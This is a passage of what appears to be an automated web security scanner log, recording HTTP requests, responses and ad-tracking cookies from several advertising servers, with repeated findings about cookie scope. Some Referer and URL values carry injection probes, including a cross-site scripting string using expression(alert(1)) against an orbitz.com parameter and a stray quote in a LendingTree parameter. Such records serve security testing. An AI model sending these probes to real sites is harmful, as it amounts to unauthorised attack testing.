HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate, no-transform, post-check=0, pre-check=0 Content-Type: image/gif Date: Wed, 02 Feb 2011 15:43:56 GMT Expires: -1 p3p: policyref="http://pixel.tree.com/w3c/p3p.xml", CP="IDC DSP COR ADM DEVa TAIa PSA PSD IVAa IVDa CONi HIS OUR IND CNT" Pragma: no-cache Server: Microsoft-IIS/6.0 Set-Cookie: t_lftm=v=1&id=suzsmde3PUmMmtwbDqKLSw--&bd=2011-02-02 10:43:54Z; domain=.tree.com; expires=Thu, 02-Feb-2012 15:43:56 GMT; path=/; HttpOnly Set-Cookie: t_svis=rfr=http%3a%2f%2foffers.lendingtree.com%2fsplitter%2fsplitter.ashx%3fid%3dmsnhptext12111%26promo%3d00313%26source%3d4666360%26esourceid%3d4666360%26800Num%3d1-800-289-1731%27%26adtype%3d2&adpk=&adcc=&adcm=&adcn=&adct=&adpxl=&adtype=2&id=gc+RXd1kIkG3IiCXg3EvtA--&v=4&cnt=2; domain=.tree.com; path=/; HttpOnly X-AspNet-Version: 2.0.50727 X-NICKNAME: RICK X-Powered-By: ASP.NET Content-Length: 35 Connection: keep-alive
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pt.ashx HTTP/1.1 Host: pixel.tree.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate, no-transform, post-check=0, pre-check=0 Content-Type: text/javascript; charset=utf-8 Date: Wed, 02 Feb 2011 15:43:54 GMT Expires: -1 p3p: policyref="http://pixel.tree.com/w3c/p3p.xml", CP="IDC DSP COR ADM DEVa TAIa PSA PSD IVAa IVDa CONi HIS OUR IND CNT" Pragma: no-cache Server: Microsoft-IIS/6.0 Set-Cookie: t_lftm=v=1&id=suzsmde3PUmMmtwbDqKLSw--&bd=2011-02-02 15:43:54Z; domain=.tree.com; expires=Thu, 02-Feb-2012 15:43:54 GMT; path=/; HttpOnly Set-Cookie: t_svis=rfr=http%3a%2f%2foffers.lendingtree.com%2fsplitter%2fsplitter.ashx%3fid%3dmsnhptext12111%26promo%3d00313%26source%3d4666360%26esourceid%3d4666360%26800Num%3d1-800-289-1731%27%26adtype%3d2&adpk=&adcc=&adcm=&adcn=&adct=&adpxl=&adtype=2&id=gc+RXd1kIkG3IiCXg3EvtA--&v=4&cnt=1; domain=.tree.com; path=/; HttpOnly X-AspNet-Version: 2.0.50727 X-NICKNAME: DANIEL X-Powered-By: ASP.NET Content-Length: 8627 Connection: keep-alive
var ___tree_basepath = 'http://pixel.tree.com/'; safe=encodeURIComponent;tptlogdiv=null;try{logDiv=document.createElement("div");logDiv.style.display="none";logDiv.id="__tpt_log_div";if(window.addEven ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /PixelMonkey?adid=orbitzhotels&format=image&owwste=orbitz&owwprd=hotel&owworg=&depart=Tue%20Feb%2001%202011%2000:00:00%20GMT-0600%20(Central%20Standard%20Time)&return=Wed%20Feb%2002%202011%2000:00:00%20GMT-0600%20(Central%20Standard%20Time)&owwdst=H_US_BOSTON_MA HTTP/1.1 Host: px.admonkey.dapper.net Proxy-Connection: keep-alive Referer: http://www.orbitz.com/cacheable/ad.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
CMID=BECVgq3LtckAABg-QdMAAAAp;domain=casalemedia.com;path=/;expires=Thu, 02 Feb 2012 15:43:38 GMT
CMST=TUl7qk1Je6oB;domain=casalemedia.com;path=/;expires=Thu, 03 Feb 2011 15:43:38 GMT
CMSC=TUl7qg**;domain=casalemedia.com;path=/;
CMJ2=AAJzHU1Je6oB;domain=casalemedia.com;path=/;expires=Thu, 02 Feb 2012 15:43:38 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /j.gif?u=160541&s=1 HTTP/1.1 Host: r.casalemedia.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CMD3=AAFE100n1KEAAda-AAM36gEBAA**; CMD4=AAEwYE01+3gAAZshAALjFQECAA**; CMD2=AAFKkU01+3gAAZshAAM1eQEBAA**; CMID=BECVgq3LtckAABg-QdMAAAAp; CMPS=061; CMPP=006; CMS=110211&1296308414; CMD1=AADz3E1EGL4AAa6DAAMkaAEDAA**
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: image/gif Expires: Wed, 02 Feb 2011 15:43:38 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 02 Feb 2011 15:43:38 GMT Content-Length: 43 Connection: close Set-Cookie: CMID=BECVgq3LtckAABg-QdMAAAAp;domain=casalemedia.com;path=/;expires=Thu, 02 Feb 2012 15:43:38 GMT Set-Cookie: CMPS=061;domain=casalemedia.com;path=/;expires=Tue, 03 May 2011 15:43:38 GMT Set-Cookie: CMPP=006;domain=casalemedia.com;path=/;expires=Tue, 03 May 2011 15:43:38 GMT Set-Cookie: CMST=TUl7qk1Je6oB;domain=casalemedia.com;path=/;expires=Thu, 03 Feb 2011 15:43:38 GMT Set-Cookie: CMSC=TUl7qg**;domain=casalemedia.com;path=/; Set-Cookie: CMDD=;domain=casalemedia.com;path=/;expires=Thu, 03 Feb 2011 15:43:38 GMT Set-Cookie: CMJ2=AAJzHU1Je6oB;domain=casalemedia.com;path=/;expires=Thu, 02 Feb 2012 15:43:38 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /set?pid=1c6323e9-0811-5464-3af4-c00f47248395&rtb=6ch47d7o8wtv HTTP/1.1 Host: r.openx.net Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: fc=H4sIAAAAAAAAAONlYOTgYWBgYGRg0D7MwAAAxUfwuA8AAAA=; p=1295929663; i=8e1bb757-a622-431b-967f-869e18a071fe
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:14:47 GMT Server: Apache Cache-Control: public, max-age=30, proxy-revalidate Expires: Mon, 26 Jul 1997 05:00:00 GMT Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: i=8e1bb757-a622-431b-967f-869e18a071fe; expires=Fri, 01-Feb-2013 15:14:47 GMT; path=/; domain=.openx.net Content-Length: 43 Connection: close Content-Type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /click/site=0000747145/mnum=0000961923/cstr=11479363=_4d48254a,7376408871,747145^961923^1183^0,1_/xsxdata=$xsxdata/bnum=11479363&siteValue=0000747145&city=Dallas/ HTTP/1.1 Host: r1-ads.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 29104868=_4d482547,0572256108,749715^918410^1183^0,0_; F1=BAWJI1EBAAAABAAAAIAAgEA; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; BASE=TPQQKfQBxZgcD514adQ2mjv0dgQLL5FAodEV5BSIFyat6oE!; ACID=WR910012964108340027; 25807272=_4d482560,1483511146,747145^961923^1183^0,0_; GUID=MTI5NjQwODEwMDsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; A07L=3TghwGitSqzY5976PrTsin6rxpK73x54NJs1OwWgDjYYaZeaDswzMIA; C2=eVCSNNbjHEEqGhO; 10533267=_4d48255e,5052657456,749715^964772^1183^0,0_; ROLL=gqwLbPcy+hFCk4Ept5x+lCN!; 11479363=_4d48254a,7376408871,747145^961923^1183^0,0_;
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://livingsocial.com/deals/socialads_reflector?do_not_redirect=1&ref=AOL&geo=true">here</a>.</h2> </body> ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /click/site=0000747145/mnum=0000961923/cstr=25807272=_4d482560,1483511146,747145^961923^1183^0,1_/xsxdata=$xsxdata/bnum=25807272&siteValue=0000747145&city=Dallas/ HTTP/1.1 Host: r1-ads.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 29104868=_4d482547,0572256108,749715^918410^1183^0,0_; F1=BAWJI1EBAAAABAAAAIAAgEA; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; BASE=TPQQKfQBxZgcD514adQ2mjv0dgQLL5FAodEV5BSIFyat6oE!; ACID=WR910012964108340027; 25807272=_4d482560,1483511146,747145^961923^1183^0,0_; GUID=MTI5NjQwODEwMDsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; A07L=3TghwGitSqzY5976PrTsin6rxpK73x54NJs1OwWgDjYYaZeaDswzMIA; C2=eVCSNNbjHEEqGhO; 10533267=_4d48255e,5052657456,749715^964772^1183^0,0_; ROLL=gqwLbPcy+hFCk4Ept5x+lCN!; 11479363=_4d48254a,7376408871,747145^961923^1183^0,0_;
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://livingsocial.com/deals/socialads_reflector?do_not_redirect=1&ref=AOL&geo=true">here</a>.</h2> </body> ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /click/site=0000749715/mnum=0000918410/bnum=29104868/cstr=29104868=_4d482547,0572256108,749715^918410^1183^0,1_/xsxdata=$xsxdata/xsinvid=0/imptid=AScb47c603bd494ad09cac82f8e21e47bc HTTP/1.1 Host: r1-ads.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 29104868=_4d482547,0572256108,749715^918410^1183^0,0_; F1=BAWJI1EBAAAABAAAAIAAgEA; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; BASE=TPQQKfQBxZgcD514adQ2mjv0dgQLL5FAodEV5BSIFyat6oE!; ACID=WR910012964108340027; 25807272=_4d482560,1483511146,747145^961923^1183^0,0_; GUID=MTI5NjQwODEwMDsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; A07L=3TghwGitSqzY5976PrTsin6rxpK73x54NJs1OwWgDjYYaZeaDswzMIA; C2=eVCSNNbjHEEqGhO; 10533267=_4d48255e,5052657456,749715^964772^1183^0,0_; ROLL=gqwLbPcy+hFCk4Ept5x+lCN!; 11479363=_4d48254a,7376408871,747145^961923^1183^0,0_;
Response
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP="NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV", an.n="Advertising.com", an.pp="http://advertising.aol.com/privacy/advertisingcom", an.oo="http://advertising.aol.com/privacy/advertisingcom/opt-out", an.by="Y" Location: http://www.merchantcircle.com/signup/partner?pid=aol&utm_source=sept2010&utm_medium=MCbanner&utm_content=728x90&utm_campaign= Cache-Control: private, max-age=0, no-cache Expires: Tue, 01 Feb 2011 15:37:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 258 Vary: Accept-Encoding Date: Tue, 01 Feb 2011 15:37:07 GMT Connection: close Set-Cookie: C2=jiCSNNbjHEEqGfugigQvJVAc; domain=advertising.com; expires=Thu, 31-Jan-2013 15:37:07 GMT; path=/ Set-Cookie: 29104868=_4d482547,0572256108,749715^918410^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 25807272=_4d482560,1483511146,747145^961923^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 10533267=_4d48255e,5052657456,749715^964772^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 11479363=_4d48254a,7376408871,747145^961923^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 0572256108=_4d482547,0572256108,749715^918410^1183^0,1_; domain=advertising.com; path=/click
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://www.merchantcircle.com/signup/partner?pid=aol&utm_source=sept2010&utm_medium=MCbanner&utm_content= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /click/site=0000749715/mnum=0000964772/bnum=10533267/cstr=10533267=_4d48255e,5052657456,749715^964772^1183^0,1_/xsxdata=$xsxdata/xsinvid=0/imptid=ASda8e1ea7652d4c0992c679c6d2b63588 HTTP/1.1 Host: r1-ads.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 29104868=_4d482547,0572256108,749715^918410^1183^0,0_; F1=BAWJI1EBAAAABAAAAIAAgEA; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; BASE=TPQQKfQBxZgcD514adQ2mjv0dgQLL5FAodEV5BSIFyat6oE!; ACID=WR910012964108340027; 25807272=_4d482560,1483511146,747145^961923^1183^0,0_; GUID=MTI5NjQwODEwMDsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; A07L=3TghwGitSqzY5976PrTsin6rxpK73x54NJs1OwWgDjYYaZeaDswzMIA; C2=eVCSNNbjHEEqGhO; 10533267=_4d48255e,5052657456,749715^964772^1183^0,0_; ROLL=gqwLbPcy+hFCk4Ept5x+lCN!; 11479363=_4d48254a,7376408871,747145^961923^1183^0,0_;
Response
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP="NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV", an.n="Advertising.com", an.pp="http://advertising.aol.com/privacy/advertisingcom", an.oo="http://advertising.aol.com/privacy/advertisingcom/opt-out", an.by="Y" Location: http://www.taxact.com/10tax.asp?sc=104072450109&p=1002450109_160x600_btf_ON Cache-Control: private, max-age=0, no-cache Expires: Tue, 01 Feb 2011 15:37:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 196 Vary: Accept-Encoding Date: Tue, 01 Feb 2011 15:37:15 GMT Connection: close Set-Cookie: C2=riCSNNbjHEEqGfugigQvJVAcRujZvkgBoC; domain=advertising.com; expires=Thu, 31-Jan-2013 15:37:15 GMT; path=/ Set-Cookie: 29104868=_4d482547,0572256108,749715^918410^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 25807272=_4d482560,1483511146,747145^961923^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 10533267=_4d48255e,5052657456,749715^964772^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 11479363=_4d48254a,7376408871,747145^961923^1183^0,0_; domain=advertising.com; path=/click Set-Cookie: 5052657456=_4d48255e,5052657456,749715^964772^1183^0,1_; domain=advertising.com; path=/click
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://www.taxact.com/10tax.asp?sc=104072450109&p=1002450109_160x600_btf_ON">here</a>.</h2> </body></html>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site=747145/size=300250/u=2/bnum=11479363/hr=9/hl=2/c=3/scres=5/swh=1920x1200/tile=2/f=0/r=1/optn=1/fv=10/aolexp=1/dref=http%253A%252F%252Fwww.orbitz.com%252FApp%252FPerformMDLPDealsContent%253Fdeal_id%253Dpromotions%2526cnt%253DPRO%2526type%253Doa_qs35daf%252522style%25253d%252522x%25253aexpression%2528alert%25281%2529%2529%2525221333ba1041f HTTP/1.1 Host: r1-ads.ace.advertising.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ACID=Bc330012940999670074; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; A07L=3dzaKJUOYWQidaSHS5y0YmSmFaXEvvd0LZvbK5g_-GSwVryO8dt0x1w; GUID=MTI5NjQwODEwMDsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; C2=HVCSNJpwHg02FN5BdbdRTewUwX0kH8Y4FN5BYTeRTeQ3gZ0kHQTnGN5BF2pRTeAohX0kHYZ4FN5BKGeRTewohX0kHca4FN5BiGeRTeQshX0kwOIAM/oBqJ7YBwAoGG5r1NQcKa4dGKmAI9YBxO53DkL3Fh3gPTw6TVEnsuWB/0mxpda7GIaWGbUrMaw41ZAVkqlB6bjxTr6bCwWZGG/r4fQsMasbwa3BW8oxu1I9HsfzFB3sNeQQoa0ks2zB1xmBmD; F1=BcUJI1EBAAAABAAAAEAAgEA; BASE=YnQI+8MmSf+Tkd8dWtaeW84rjjGaJlmvQDh5gB4INGhgqyeE2hX/3YWcFU+yQrMIvnyW7WqTRB0KmqQ/Bw31Ai99Olekp3KbTCY6Hcz3dkGhJ9sRouHZQnZFf264SgioQ63Tlv7fQeZ/MdF9vTkG04AAgW50nlreFyoGRSpu37msX+jQLx6DVzg0GiS7C+fmMlpM6WkfUJE/jZpxX9BVxb4NY6Bt+8HJjfPTnrX+YEI5U8ZjkNfo+ItYJvKGpR4RUa0dXReYyzQpxRA2o3puqGCbuiUAjLdfLbZkb0ehAjiNHPbW7aQ/l8C1FAzyv+l6iXS0VVSgNUKupn3qdes1byPz6HZxkJMDmZdPvgtllPoBe0tFpazRzM6rSRksfxhrPz5M5pJJtm/KXQNQ7rIa/ZcvMwjSuOO0V4u4UyiBOr868nAkimb4kuiPI6EuPQQEioI0acaoq0TOTxGN1Dyc8slydSMH9KF18QKVsBUXOKbwTDzUKPzbf4wBORYCjhMJH19G+54N1ZyXnV1z4b4OfC5tdEiBbtwwGNupEAO!; ROLL=v5Q2V0MtUuzqOtG!
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP="NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV", an.n="Advertising.com", an.pp="http://advertising.aol.com/privacy/advertisingcom", an.oo="http://advertising.aol.com/privacy/advertisingcom/opt-out", an.by="Y" Comscore: CMXID=2115.961923.747145.0XMC Cache-Control: private, max-age=0, no-cache Expires: Wed, 02 Feb 2011 15:40:22 GMT Content-Type: application/x-javascript; charset=utf-8 Vary: Accept-Encoding Date: Wed, 02 Feb 2011 15:40:21 GMT Connection: close Set-Cookie: C2=lrXSNJpwHg02Fq0BdbdhKdwUwXoSH8Y4Fq0BYTehKdQ3gZoSHQTnGq0BF2phKdAohXoSHYZ4Fq0BKGehKdwohXoSHca4Fq0BiGehKdQshXoSwOIAM/oRhI7YBwAoGj0r1NQcKasLGKmAI9YRoN53DkL3F+ygPTw6TV4UsuWB/0mBhca7FIaWG4frMaw41Z0CkqlB6bjBLq6bCwWZGj6r4fQsMagJwa3BW8oBm0I9HsfzFeysNeQQoaoSs2zB1xmRdC; domain=advertising.com; expires=Fri, 01-Feb-2013 15:40:22 GMT; path=/ Set-Cookie: F1=BUueJ1EBAAAABAAAAEAAgEA; domain=advertising.com; expires=Fri, 01-Feb-2013 15:40:22 GMT; path=/ Set-Cookie: BASE=YnQI/8MmSf+Tkd8dWtaeW84rjjGaJlmvQDh5gB4INGhgqyeE2hX/3YWcFU+yQrMIvnyW7WqTRB0KmqQ/Bw31Ai99Olekp3KbTCY6Hcz3dkGhJ9sRouHZQnZFf264SgioQ63Tlv7fQeZ/MdF9vTkG04AAgW50nlreFyoGRSpu37msX+jQLx6DVzg0GiS7C+fmMlpM6WkfUJE/jZpxX9BVxb4NY6Bt+8HJjfPTnrX+YEI5U8ZjkNfo+ItYJvKGpR4RUa0dXReYyzQpxRA2o3puqGCbuiUAjLdfLbZkb0ehAjiNHPbW7aQ/l8C1FAzyv+l6iXS0VVSgNUKupn3qdes1byPz6HZxkJMDmZdPvgtllPoBe0tFpazRzM6rSRksfxhrPz5M5pJJtm/KXQNQ7rIa/ZcvMwjSuOO0V4u4UyiBOr868nAkimb4kuiPI6EuPQQEioI0acaoq0TOTxGN1Dyc8slydSMH9KF18QKVsBUXOKbwTDzUKPzbf4wBORYCjhMJH19G+54N1ZyXnV1z4b4OfC5tdEiBbtwwGNupEAetICCpHmL!; domain=advertising.com; expires=Fri, 01-Feb-2013 15:40:22 GMT; path=/ Set-Cookie: ROLL=v5Q2V0M/k7zqHkG!; domain=advertising.com; expires=Fri, 01-Feb-2013 15:40:22 GMT; path=/ Set-Cookie: 11479363=_4d497ae5,6123380717,747145^961923^1183^0,0_; domain=advertising.com; path=/click Content-Length: 1631
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site=749715/size=160600/u=2/bnum=29104868/hr=9/hl=2/c=3/scres=5/swh=1920x1200/tile=1/f=0/r=1/optn=1/fv=10/aolexp=1/dref=http%253A%252F%252Fwww.orbitz.com%252FApp%252FPerformMDLPDealsContent%253Fdeal_id%253Dpromotions%2526cnt%253DPRO%2526type%253Doa_qs35daf%252522style%25253d%252522x%25253aexpression%2528alert%25281%2529%2529%2525221333ba1041f HTTP/1.1 Host: r1-ads.ace.advertising.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ACID=Bc330012940999670074; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; A07L=3dzaKJUOYWQidaSHS5y0YmSmFaXEvvd0LZvbK5g_-GSwVryO8dt0x1w; F1=BcwvE1kAAAAAdVyCAEAAgEABAAAABAAAAUAAGAA; BASE=YnQIx8MmSf+Tkd8dWtaeW84rjjGaJl2JpJJ5e82KT4ggqyea2eW/3YWKVm/y2YMyTPzWzWqPEc0KmqQBlyv1AitvC5uk1WFp+Zw63fzJnhGhJ9szxwHZQnZLI364iQjUbvXTIm5HoBJ/dvGrgJkH34AWEQ50klrods4GEQpslbnta1jyi06DY4goRuq7lNfytkpMGnkn13F/thphT9BVrj4TEB4tA8HhyePTdrXAHCI5I8ZJSPfosItSm2KGbW4bMg1diWeoat4pBWAsS0xuVBChK5UAQMdxKbZkoze5s76NIPb4CdQ/w8CXYuay4+lyQWK0GVSchMSu3n3ygrt1ByPVHFBx+JMtaedPpgtfj+pBX0truazR7M6ZuK9sVxhFZZ4MxpJbJc+KhQNAB0IaOZcfXUiSdOO0D8u4hyiFT/96RHBwMCa4UuiFfHFuaQQKkvI0Ica251TOMxGv0hzcvsl8LyNHqKFpTNKVBAUdzcbw/CzAvQzbu5wzg9ZCSgMt4q9GO44FPGyXSU1PH45OxD5VJciBItw68hvpOMeNkZCp6Oah7P40wy94BpsD33jn2wByhMmp+2rVS0xYYdyQ0dnp+0oE+uA!; ROLL=v5Q2H0MbU/zqUNH1h7d3T1ystuIiEaPHy4fCVadX/ASOjE6f+wnqYseyuA0vwlvFYFjqzjc8zqkwR3t+XXAr8QlWG4SSF/7N1Eja1YV2UmztMwbFznDUKtzd8HNCCLwX3RIWa/0nS8WT042H7E5JNtYzd2SZZdA!; C2=k4ZRNJpwIg02F1BCdbdRdgwUwXUHI8Y4F1BCYTeRdgQ3gZUHIQTnG1BCF2pRdgAohXUHIYZ4F1BCKGeRdgwohXUHIca4F1BCiGeRdgQshXUHwOIAM/oB0L7YCwAoGuxr1RQcKaYAGK2AI9YB7M53EkL3FJwgPXw6TVkJsuWB/0mxzfa7GIaWGDdrMaw41Zg3kq1B6bjxdp6bDwWZGu3r4fQsMaM+wa3BW8ox43I9HsfzFp/sNiQQoaUHs2DC1xmBwB; GUID=MTI5NjQwODEwMDsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP="NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV", an.n="Advertising.com", an.pp="http://advertising.aol.com/privacy/advertisingcom", an.oo="http://advertising.aol.com/privacy/advertisingcom/opt-out", an.by="Y" Comscore: CMXID=2115.918410.749715.0XMC Cache-Control: private, max-age=0, no-cache Expires: Tue, 01 Feb 2011 15:22:48 GMT Content-Type: application/x-javascript; charset=utf-8 Vary: Accept-Encoding Date: Tue, 01 Feb 2011 15:22:47 GMT Connection: close Set-Cookie: C2=HVCSNJpwHg02FN5BdbdRTewUwX0kH8Y4FN5BYTeRTeQ3gZ0kHQTnGN5BF2pRTeAohX0kHYZ4FN5BKGeRTewohX0kHca4FN5BiGeRTeQshX0kwOIAM/oBqJ7YBwAoGG5r1NQcKa4dGKmAI9YBxO53DkL3Fh3gPTw6TVEnsuWB/0mxpda7GIaWGbUrMaw41ZAVkqlB6bjxTr6bCwWZGG/r4fQsMasbwa3BW8oxu1I9HsfzFB3sNeQQoa0ks2zB1xmBmD; domain=advertising.com; expires=Thu, 31-Jan-2013 15:22:48 GMT; path=/ Set-Cookie: F1=BcUJI1EBAAAABAAAAEAAgEA; domain=advertising.com; expires=Thu, 31-Jan-2013 15:22:48 GMT; path=/ Set-Cookie: 